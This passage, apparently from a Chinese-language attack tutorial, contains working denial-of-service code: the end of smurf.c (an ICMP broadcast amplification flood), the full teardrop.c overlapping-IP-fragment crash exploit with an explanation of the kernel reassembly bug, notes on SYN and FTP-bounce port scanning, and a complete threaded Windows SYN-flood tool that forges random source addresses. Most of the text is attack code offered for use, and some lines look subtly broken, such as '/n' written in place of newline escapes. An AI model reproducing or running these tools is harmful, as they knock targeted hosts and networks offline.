   if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
      perror("getting socket");
      exit(-1);
   }
   setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast));

   printf("Flooding %s (. = 25 outgoing packets)/n", argv[1]);

   for (i = 0; i < num || !num; i++) {
      if (!(i % 25)) { printf("."); fflush(stdout); }
      smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
      cycle++;
      if (bcastaddr[cycle] == 0x0) cycle = 0;
      usleep(delay);
   }
   puts("/n/n");
   return 0;
}

void banner (void)
{
   puts("/nsmurf.c v4.0 by TFreak/n");
}

void usage (char *prog)
{
   fprintf(stderr, "usage: %s <target> <bcast file> "
                   "<num packets> <packet delay> <packet size>/n/n"
                   "target        = address to hit/n"
                   "bcast file    = file to read broadcast addresses from/n"
                   "num packets   = number of packets to send (0 = flood)/n"
                   "packet delay  = wait between each packet (in ms)/n"
                   "packet size   = size of packet (< 1024)/n/n", prog);
   exit(-1);
}

void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
{
   struct iphdr *ip;
   struct icmphdr *icmp;
   char *packet;

   packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
   ip = (struct iphdr *)packet;
   icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));

   memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);

   ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
   ip->ihl = 5;
   ip->version = 4;
   ip->ttl = 255;
   ip->tos = 0;
   ip->frag_off = 0;
   ip->protocol = IPPROTO_ICMP;
   ip->saddr = sin.sin_addr.s_addr;
   ip->daddr = dest;
   ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr));
   icmp->type = 8;
   icmp->code = 0;
   icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);

   sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
          0, (struct sockaddr *)&sin, sizeof(struct sockaddr));

   free(packet);           /* free willy! */
}

void ctrlc (int ignored)
{
   puts("/nDone!/n");
   exit(1);
}

unsigned short in_chksum (u_short *addr, int len)
{
   register int nleft = len;
   register int sum = 0;
   u_short answer = 0;

   while (nleft > 1) {
      sum += *addr++;
      nleft -= 2;
   }

   if (nleft == 1) {
      *(u_char *)(&answer) = *(u_char *)addr;
      sum += answer;
   }

   sum = (sum >> 16) + (sum + 0xffff);
   sum += (sum >> 16);
   answer = ~sum;
   return(answer);
}



3 Teardrop

    在Linux的ip包重组过程中有一个严重的漏洞。
    
    在ip_glue()中:

在循环中重组ip包:
        fp = qp->fragments;
        while(fp != NULL)
        {
                if(count+fp->len > skb->len)
                {
                    error_to_big;
                }
                memcpy((ptr + fp->offset), fp->ptr, fp->len);
                count += fp->len;
                fp = fp->next;
        }
这里只检查了长度过大的情况,而没有考虑长度过小的情况,
如 fp->len<0 时,也会使内核拷贝过多的东西。

计算分片的结束位置:
        end = offset + ntohs(iph->tot_len) - ihl;

当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的)
是这样处理的:
        if (prev != NULL && offset < prev->end)
        {
                i = prev->end - offset;
                offset += i;    /* ptr into datagram */
                ptr += i;       /* ptr into fragment data */
        }

        /* Fill in the structure. */
        fp->offset = offset;
        fp->end = end;
        fp->len = end - offset; //fp->len是一个有符号整数

举个例子来说明这个漏洞:
第一个碎片:mf=1 offset=0   payload=20
敌二个碎片:mf=0 offset=10 payload=9

这样第一个碎片的 end=0+20 
 offset=0
这样第二个碎片的 end=9+10=19
 offset=offset+(20-offset)=20
     fp-〉len=19-20=-1;

那么memcpy将拷贝过多的数据导致崩溃。

    
/*
 *  Copyright (c) 1997 route|daemon9  <route@infonexus.com> 11.3.97
 *
 *  Linux/NT/95 Overlap frag bug exploit
 *
 *  Exploits the overlapping IP fragment bug present in all Linux kernels and
 *  NT 4.0 / Windows 95 (others?)
 *
 *  Based off of:   flip.c by klepto
 *  Compiles on:    Linux, *BSD*
 *
 *  gcc -O2 teardrop.c -o teardrop
 *      OR
 *  gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>

#ifdef STRANGE_BSD_BYTE_ORDERING_THING
                        /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n)  (n)
#else                   /* OpenBSD 2.1, all Linux */
#define FIX(n)  htons(n)
#endif  /* STRANGE_BSD_BYTE_ORDERING_THING */

#define IP_MF   0x2000  /* More IP fragment en route */
#define IPH     0x14    /* IP header size */
#define UDPH    0x8     /* UDP header size */
#define PADDING 0x1c    /* datagram frame padding for first packet */
#define MAGIC   0x3     /* Magic Fragment Constant (tm).  Should be 2 or 3 */
#define COUNT   0x1     /* Linux dies with 1, NT is more stalwart and can
                         * withstand maybe 5 or 10 sometimes...  Experiment.
                         */

void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short);

int main(int argc, char **argv)
{
    int one = 1, 
count = 0, 
i, 
rip_sock;
    u_long  src_ip = 0, dst_ip = 0;
    u_short src_prt = 0, dst_prt = 0;
    struct in_addr addr;

    fprintf(stderr, "teardrop   route|daemon9/n/n");

//建SOCK_RAW
    if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
    {
        perror("raw socket");
        exit(1);
    }
//由系统处理IP校验和。
    if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
        < 0)
    {
        perror("IP_HDRINCL");
        exit(1);
    }

    if (argc < 3) usage(argv[0]);
    if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
    {
        fprintf(stderr, "What the hell kind of IP address is that?/n");
        exit(1);
    }

    while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
    {
        switch (i)
        {
            case 's':               /* source port (should be emphemeral) */
                src_prt = (u_short)atoi(optarg);
                break;
            case 't':               /* dest port (DNS, anyone?) */
                dst_prt = (u_short)atoi(optarg);
                break;
            case 'n':               /* number to send */
                count   = atoi(optarg);
                break;
            default :
                usage(argv[0]);
                break;              /* NOTREACHED */
        }
    }

    srandom((unsigned)(time((time_t)0)));
    if (!src_prt) src_prt = (random() % 0xffff);
    if (!dst_prt) dst_prt = (random() % 0xffff);
    if (!count)   count   = COUNT;

    fprintf(stderr, "Death on flaxen wings:/n");
    addr.s_addr = src_ip;
    fprintf(stderr, "From: %15s.%5d/n", inet_ntoa(addr), src_prt);
    addr.s_addr = dst_ip;
    fprintf(stderr, "  To: %15s.%5d/n", inet_ntoa(addr), dst_prt);
    fprintf(stderr, " Amt: %5d/n", count);
    fprintf(stderr, "[ ");

    for (i = 0; i < count; i++)
    {
        send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
        fprintf(stderr, "b00m ");
        usleep(500);
    }
    fprintf(stderr, "]/n");
    return (0);
}

/*
 *  Send two IP fragments with pathological offsets.  We use an implementation
 *  independent way of assembling network packets that does not rely on any of
 *  the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
 */

void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
                u_short dst_prt)
{
    u_char *packet = NULL, *p_ptr = NULL;   /* packet pointers */
    u_char byte;                            /* a byte */
    struct sockaddr_in sin;                 /* socket protocol structure */

    sin.sin_family      = AF_INET;
    sin.sin_port        = src_prt;
    sin.sin_addr.s_addr = dst_ip;

    /*
     * Grab some memory for our packet, align p_ptr to point at the beginning
     * of our packet, and then fill it with zeros.
     */
    packet = (u_char *)malloc(IPH + UDPH + PADDING);
    p_ptr  = packet;
    bzero((u_char *)p_ptr, IPH + UDPH + PADDING);

    byte = 0x45;                        /* IP version and header length */
    memcpy(p_ptr, &byte, sizeof(u_char));
    p_ptr += 2;                         /* IP TOS (skipped) */
    *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);    /* total length */
    p_ptr += 2;
    *((u_short *)p_ptr) = htons(242);   /* IP id */
    p_ptr += 2;
    *((u_short *)p_ptr) |= FIX(IP_MF);  /* IP frag flags and offset */
    p_ptr += 2;
    *((u_short *)p_ptr) = 0x40;         /* IP TTL */
    byte = IPPROTO_UDP;
    memcpy(p_ptr + 1, &byte, sizeof(u_char));
    p_ptr += 4;                         /* IP checksum filled in by kernel */
    *((u_long *)p_ptr) = src_ip;        /* IP source address */
    p_ptr += 4;
    *((u_long *)p_ptr) = dst_ip;        /* IP destination address */
    p_ptr += 4;
    *((u_short *)p_ptr) = htons(src_prt);       /* UDP source port */
    p_ptr += 2;
    *((u_short *)p_ptr) = htons(dst_prt);       /* UDP destination port */
    p_ptr += 2;
    *((u_short *)p_ptr) = htons(8 + PADDING);   /* UDP total length */

    if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
                sizeof(struct sockaddr)) == -1)
    {
        perror("/nsendto");
        free(packet);
        exit(1);
    }

    /*  We set the fragment offset to be inside of the previous packet's
     *  payload (it overlaps inside the previous packet) but do not include
     *  enough payload to cover complete the datagram.  Just the header will
     *  do, but to crash NT/95 machines, a bit larger of packet seems to work
     *  better.
     */
    p_ptr = &packet[2];         /* IP total length is 2 bytes into the header */
    *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
    p_ptr += 4;                 /* IP offset is 6 bytes into the header */
    *((u_short *)p_ptr) = FIX(MAGIC);

    if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
                sizeof(struct sockaddr)) == -1)
    {
        perror("/nsendto");
        free(packet);
        exit(1);
    }
    free(packet);
}

u_long name_resolve(u_char *host_name)
{
    struct in_addr addr;
    struct hostent *host_ent;

    if ((addr.s_addr = inet_addr(host_name)) == -1)
    {
        if (!(host_ent = gethostbyname(host_name))) return (0);
        bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
    }
    return (addr.s_addr);
}

void usage(u_char *name)
{
    fprintf(stderr,
            "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]/n",
            name);
    exit(0);
}


4 Portscan 和  Antiportscan

Portscan的两种主要方法:
(1) Half-open(半打开)
利用下面特性:但一个主机收到向某个端口(TCP)发出的(SYN),
如果在这个端口有服务,那么返回(SYN+ASK),不然返回(RST)。

(2) FTP scanner
利用了FTP的port命令,例如可以这样作:
选择一个FTP服务器,连上后令port命令指向目标机,如果返回
值是正确的,那么目标机的该端口是有服务的,如返回打开端口错误则
该端口无服务。
telnet 192.168.1.13  21
Trying 192.168.1.13...
Connected to pp.bricks.org.
Escape character is '^]'.
220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1) 
Thu May 7 23:18:05 EDT 1998) ready.

user anonymous
331 Guest login ok, send your complete e-mail address as password.
pass aa@aa.aa
230 Guest login ok, access restrictions apply.
port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口

150 Opening ASCII mode data connection for file list.
425 Can't build data connection: Connection refused.
//该端口未活动
150 Opening ASCII mode data connection for file list.
226 Transfer complete.
//该端口活动中
但有些FTP服务器禁止你将数据连接影响其他地址,那就没办法了。

上述两种方法是通用的,而针对个别系统有一些特殊方法。

如一些系统受到包后会作如下处理:

    标志        活动的端口的应答       不活动端口的应答              

    SYN         SYN|ACK                 RST 或 Nothing
    SYN|FIN     ACK or SYN|ACK*         RST
    ACK         Nothing                 RST
    0 flag      Nothing                 RST

你最好是试一试。

Antiport
   一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读,
若发现一个主机不停的象你发送(SYN)包,却没有完成连结,可以认
定它在向你做portscan。

notes:
早期的portscan程序是老老实实的向你一个一个端口连(完成三次握手),
而一些antiscan是在一个平时不用的端口上起一个服务器,并认为连上来的
都是向它scan。
 

syn洪水攻击源码

syn洪水攻击源码 2013-04-07 19:08:17
标签:syn 源码
//---------------------------------------------------------------------------
//Filename:ss.c
//Author:yunshu
//Write:2004-09-15
//Thanks EnvyMask
//Modify:2004-09-23
//---------------------------------------------------------------------------
#include <stdlib.h>
#include <stdio.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <time.h>
#pragma comment(lib,"ws2_32.lib")
#define PacketNum 1024
////////////////////////////////////////////////////////////////
//全局变量
////////////////////////////////////////////////////////////////
int  MaxThread; //最大线程数量
int  CurrentThread = 0; //当前活动线成数量
char  SendBuff[PacketNum][60] = {0}; //1024个数据包,每个的长度就是IpHeader+TcpHeader
SOCKADDR_IN Sin;
SOCKET SendSocket;
typedef struct ip_hdr
{
    unsigned char h_verlen; //4位首部长度,4位IP版本号
    unsigned char  tos; //8位服务类型TOS
    unsigned short  total_len; //16位总长度(字节)
    unsigned short  ident; //16位标识
    unsigned short  frag_and_flags; //3位标志位
    unsigned char  ttl; //8位生存时间 TTL
    unsigned char  proto; //8位协议 (TCP, UDP 或其他)
    unsigned short  checksum; //16位IP首部校验和
    unsigned int  sourceIP; //32位源IP地址
    unsigned int  destIP; //32位目的IP地址
}IP_HEADER;
typedef struct tcp_hdr //定义TCP首部
{
    USHORT   th_sport; //16位源端口
    USHORT   th_dport; //16位目的端口
    unsigned int th_seq; //32位序列号
    unsigned int th_ack; //32位确认号
    unsigned char th_lenres; //4位首部长度/6位保留字
    unsigned char  th_flag; //6位标志位
    USHORT   th_win; //16位窗口大小
    USHORT  th_sum; //16位校验和
    USHORT  th_urp; //16位紧急数据偏移量
}TCP_HEADER;
typedef struct tsd_hdr //定义TCP伪首部
{
    unsigned long saddr; //源地址
    unsigned long  daddr; //目的地址
    char   mbz;
    char   ptcl; //协议类型
    unsigned short  tcpl; //TCP长度
}PSD_HEADER;
////////////////////////////////////////////////////////////////
//函数原形
////////////////////////////////////////////////////////////////
int             setup(char * , char *); //生成数据包
DWORD WINAPI    send_packet(LPVOID); //发送数据函数
USHORT          checksum(USHORT *, int); //计算检验和函数
void            watchthread(void); //检测当前线程数量
////////////////////////////////////////////////////////////////
//main函数
////////////////////////////////////////////////////////////////
int main(int argc, char *argv[])
{
 WSADATA WSAData;
 DWORD ThreadID = 1;
 HANDLE ThreadHandle = NULL;
 if ( argc != 4 )
 {
     printf( "\n%s\t<TargetIP>\t<TargetPort>\t<MaxThread>\n", argv[0] );
  return -1;
    }
    if ( WSAStartup(MAKEWORD(2, 2), &WSAData) != 0 )
    {
     printf( "初始化WSAStartu失败\n" );
  return -1;
    }
    if ( atoi(argv[3]) > 0 && atoi(argv[3]) < 150 )
    {
     MaxThread = atoi(argv[3]);
    }
    else
    {
  printf( "最大线程数量错误,必须大于0且小于150" );
  return -1;
    }
    //初始化数据包,储存到数组当中。
    if( setup(argv[1] , argv[2]) == 1 )
    {
     printf( "初始化完成\n" );
    }
    else
    {
  printf( "初始化失败\n" );
  return -1;
 }
 printf( "攻击开始...\n" );
    while (1)
    {
     ThreadID = 1;
  for ( int Tmp = 0 ; Tmp < PacketNum ; Tmp++ )
  {
   watchthread();
   ThreadID++;
   ThreadHandle = CreateThread(NULL, 0, send_packet, (LPVOID) Tmp, 0, &ThreadID);
    if ( ThreadHandle != NULL )
    {
    
    CurrentThread++;
      CloseHandle( ThreadHandle );
   }
    }
    }
 closesocket(SendSocket);
    WSACleanup();
    return 1;
}
////////////////////////////////////////////////////////////////
//名字:setup
//描述:进行初始设置,计算特定ip,特定端口,特定tcp序列号的检验和,生成数据包
//参数:目的ip地址,目的端口
//目的:提高syn数据包发送速度
////////////////////////////////////////////////////////////////
int setup( char *DestIp , char *DestPort)
{
 char         src_ip[20] = {0};//源IP
    USHORT  src_port;//源端口
    char   dst_ip[20] = {0};//目的IP
    USHORT  dst_port;//目的端口
    IP_HEADER    IpHeader;
    TCP_HEADER   TcpHeader;
    PSD_HEADER   PsdHeader;
    if ( strlen(DestIp) >= 16 )
    {
     printf( "目的IP不对\n" );
     return -1;
    }
    strcpy( dst_ip , DestIp );
    if ( atoi(DestPort) < 0 || atoi(DestPort) > 65535 )
    {
     printf( "目的端口不对\n" );
     return -1;
    }
    Sin.sin_family = AF_INET;
    Sin.sin_port = atoi(DestPort);
    Sin.sin_addr.s_addr = inet_addr(dst_ip);
    srand((unsigned) time(NULL));
    for ( int n = 0; n < PacketNum; n++ )
    {
     wsprintf( src_ip, "%d.%d.%d.%d", rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1 );
     //填充IP首部
     IpHeader.h_verlen = (4<<4 | sizeof(IpHeader)/sizeof(unsigned long));
     IpHeader.tos = 0;
     IpHeader.total_len = htons(sizeof(IpHeader)+sizeof(TcpHeader));
     IpHeader.ident = 1;
     IpHeader.frag_and_flags = 0x40;
     IpHeader.ttl = 128;
     IpHeader.proto = IPPROTO_TCP;
     IpHeader.checksum = 0;
     IpHeader.sourceIP = inet_addr(src_ip);
     IpHeader.destIP = inet_addr(dst_ip);
     //填充TCP首部
     TcpHeader.th_sport = htons( rand()%60000 + 1 ); //源端口号
     TcpHeader.th_dport = htons( atoi(DestPort) );
     TcpHeader.th_seq = htonl( rand()%900000000 + 1 );
     TcpHeader.th_ack = 0;
     TcpHeader.th_lenres = (sizeof(TcpHeader)/4<<4|0);
     TcpHeader.th_flag = 2; //0,2,4,8,16,32->FIN,SYN,RST,PSH,ACK,URG
     TcpHeader.th_win = htons(512);
     TcpHeader.th_sum = 0;
     TcpHeader.th_urp = 0;
     PsdHeader.saddr = IpHeader.sourceIP;
     PsdHeader.daddr = IpHeader.destIP;
     PsdHeader.mbz = 0;
     PsdHeader.ptcl = IPPROTO_TCP;
     PsdHeader.tcpl = htons(sizeof(TcpHeader));
     //计算TCP校验和
     memcpy( SendBuff[n], &PsdHeader, sizeof(PsdHeader) );
     memcpy( SendBuff[n] + sizeof(PsdHeader), &TcpHeader, sizeof(TcpHeader) );
     TcpHeader.th_sum = checksum( (USHORT *) SendBuff[n], sizeof(PsdHeader) + sizeof(TcpHeader) );
     //计算IP检验和
     memcpy( SendBuff[n], &IpHeader, sizeof(IpHeader) );
     memcpy( SendBuff[n] + sizeof(IpHeader), &TcpHeader, sizeof(TcpHeader) );
     memset( SendBuff[n] + sizeof(IpHeader) + sizeof(TcpHeader), 0, 4 );
     IpHeader.checksum = checksum( (USHORT *) SendBuff, sizeof(IpHeader) + sizeof(TcpHeader) );
     memcpy( SendBuff[n], &IpHeader, sizeof(IpHeader) );
     memcpy( SendBuff[n]+sizeof(IpHeader), &TcpHeader, sizeof(TcpHeader) );
    }
 BOOL Flag;
    int     Timeout;
    //建立原生数据socket
    /*if ( (SendSocket = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET )
    {
  CurrentThread--;
    return 0;
    }*/
 SendSocket = WSASocket( AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED );
 if( SendSocket == INVALID_SOCKET )
 {
  return 0;
 }
    //设置自己填充数据包
    Flag = TRUE;
    if( setsockopt(SendSocket, IPPROTO_IP, IP_HDRINCL, (char *)&Flag, sizeof(Flag)) == SOCKET_ERROR )
    {
     printf("Setsockopt发生错误\n");
    return 0;
    }
    //设置超时时间
    Timeout = 1000;
    if ( setsockopt(SendSocket, SOL_SOCKET, SO_SNDTIMEO, (char *) &Timeout, sizeof(Timeout)) == SOCKET_ERROR )
    {
     return 0;
    }
    return 1;
}
////////////////////////////////////////////////////////////////
//名字:send_packet
//描述:向目标主机发送syn数据包
////////////////////////////////////////////////////////////////
DWORD WINAPI send_packet(LPVOID LP)
{
    //发送数据包
 int     Tmp = (int)LP;
    int  Ret,Count = 0;
 while(TRUE)
 {
  Ret = sendto(SendSocket, SendBuff[Tmp], sizeof(IP_HEADER) + sizeof(TCP_HEADER), 0, (struct sockaddr *) &Sin, sizeof(Sin));
     while( Ret != SOCKET_ERROR )
  {
   Count ++;
   if( Count == 10240 )
   {
    printf( "." );
    break;
   }
   else
   {
    Ret = sendto(SendSocket, SendBuff[Tmp], sizeof(IP_HEADER) + sizeof(TCP_HEADER), 0, (struct sockaddr *) &Sin, sizeof(Sin));
   }
  }
  break;
 }
 CurrentThread --;
 return 1;
}
////////////////////////////////////////////////////////////////////
//函数:WatchThread
//描述:检测当前线程数量,如果大于等于最大线程数量则休眠0.1秒等待其他线程退出
//返回值:无
////////////////////////////////////////////////////////////////////
void watchthread()
{
 for ( ; ; )
    {
     if ( CurrentThread >= MaxThread )
    {
     Sleep(100);
    }
    else break;
    }
}
///////////////////////////////////////////////////////////////
//函数:CheckSum
//描述:计算检验和
//返回:返回检验和
///////////////////////////////////////////////////////////////
USHORT checksum(USHORT * buffer, int size)
{
 unsigned long cksum = 0;
    while (size > 1)
    {
  cksum += *buffer++;
    size -= sizeof(USHORT);
    }
    if (size)
    {
  cksum += *(UCHAR *) buffer;
    }
    cksum = (cksum >> 16) + (cksum & 0xffff);
    cksum += (cksum >> 16);
    return (USHORT) (~cksum);
}